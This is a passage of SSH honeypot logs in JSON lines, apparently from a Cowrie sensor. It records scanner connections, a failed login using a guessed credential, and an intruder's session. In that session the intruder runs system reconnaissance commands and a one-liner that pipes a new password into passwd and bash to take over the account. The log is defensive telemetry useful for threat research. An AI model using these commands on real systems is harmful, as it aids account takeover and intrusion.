ha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:53.792346Z","src_ip":"103.4.145.50","session":"b57fd56af00e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:54.835119Z","src_ip":"103.4.145.50","session":"b57fd56af00e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:56.101869Z","src_ip":"103.4.145.50","session":"b57fd56af00e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:56.402751Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:56.406191Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:56.671249Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:57.226470Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin12345\\nIWKRTsnEOo5P\\nIWKRTsnEOo5P\"|passwd|bash","message":"CMD: echo -e \"admin12345\\nIWKRTsnEOo5P\\nIWKRTsnEOo5P\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:57.229944Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:57.233838Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:57.237317Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/04853213a19825e3258ea1ca38a6da10c8bafb6fefe6c52513491d96d10420f0","size":32,"shasum":"04853213a19825e3258ea1ca38a6da10c8bafb6fefe6c52513491d96d10420f0","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/04853213a19825e3258ea1ca38a6da10c8bafb6fefe6c52513491d96d10420f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:57.502854Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:58.063507Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin12345\\nIWKRTsnEOo5P\\nIWKRTsnEOo5P\\n\"|passwd","message":"CMD: echo \"admin12345\\nIWKRTsnEOo5P\\nIWKRTsnEOo5P\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:58.067416Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6f93437336c882fc1d4755173bfd34d3d2e0e472d9ae831d1f3eb2355fbec528","size":25,"shasum":"6f93437336c882fc1d4755173bfd34d3d2e0e472d9ae831d1f3eb2355fbec528","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/6f93437336c882fc1d4755173bfd34d3d2e0e472d9ae831d1f3eb2355fbec528 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:58.335882Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:58.936088Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:58.939878Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:59.206893Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:59.770225Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:57:59.773745Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:00.034930Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:00.604633Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:00.608832Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:00.612300Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:00.877912Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:01.441318Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:01.444715Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:01.709638Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:02.303862Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:02.308309Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:02.572735Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:03.137830Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:03.141809Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:03.407147Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:03.973661Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:03.977828Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:04.244982Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:04.816827Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:04.822974Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:05.087935Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:05.646152Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:05.649661Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:05.914681Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:06.480330Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:06.483846Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:06.747830Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:07.310275Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:07.314132Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:07.574799Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:08.141778Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:08.145324Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:08.406067Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:08.963853Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:08.967246Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:09.228431Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.8","message":"Connection lost after 21.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:09.233527Z","src_ip":"103.4.145.50","session":"b3e15507306e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.27","src_port":63314,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd2e07b732ea","protocol":"ssh","message":"New connection: 147.185.132.27:63314 (10.17.0.5:22) [session: bd2e07b732ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:18.156898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:18.851479Z","src_ip":"147.185.132.27","session":"bd2e07b732ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:19.947195Z","src_ip":"147.185.132.27","session":"bd2e07b732ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:26.187387Z","src_ip":"147.185.132.27","session":"bd2e07b732ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":52486,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6f469244f51","protocol":"ssh","message":"New connection: 96.70.252.227:52486 (159.203.135.109:22) [session: c6f469244f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:26.767766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:26.917728Z","src_ip":"96.70.252.227","session":"c6f469244f51","protocol":"ssh"}
